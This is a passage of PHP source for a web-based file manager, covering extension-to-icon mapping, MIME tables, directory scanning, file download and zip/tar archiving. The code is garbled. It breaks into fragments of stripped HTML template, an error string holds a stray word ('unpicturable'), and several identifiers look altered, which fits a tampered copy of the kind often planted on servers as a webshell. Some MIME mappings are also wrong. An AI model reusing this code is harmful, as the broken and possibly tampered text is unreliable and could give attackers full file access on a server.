'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array('txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'); } function fm_get_text_mimes() { return array('application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json'); } function fm_get_text_names() { return array('license', 'readme', 'authors', 'contributors', 'changelog'); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if (empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH . '/' . $dir; if ($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array("name" => $fileName, "type" => "file", "path" => $location); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) { return false; } $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return false; } @ini_set('magic_quotes_runtime', 0); $fp = fopen("{$fileLocation}", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return false; } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: {$contentType}"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: {$contentDisposition};filename=\"{$fileName}\""); } else { header("Content-Disposition: {$contentDisposition};filename=\"{$fileName}\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: {$new_length}"); header("Content-Range: bytes {$range}{$size2}/{$size}"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-{$size2}/{$size}"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) { ob_end_clean(); } readfile($fileLocation); fclose($fp); return connection_status() == 0 and !connection_aborted(); } function fm_get_theme() { $result = ''; if (FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url . $_SERVER["PHP_SELF"]; $this->data = array('lang' => 'en', 'error_reporting' => true, 'show_hidden' => true); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'unpicturable
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) { $this->data = $data; } else { $this->save(); } } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE); ?> ">
'; } ?> <?php echo fanco(APP_TITLE); ?> ">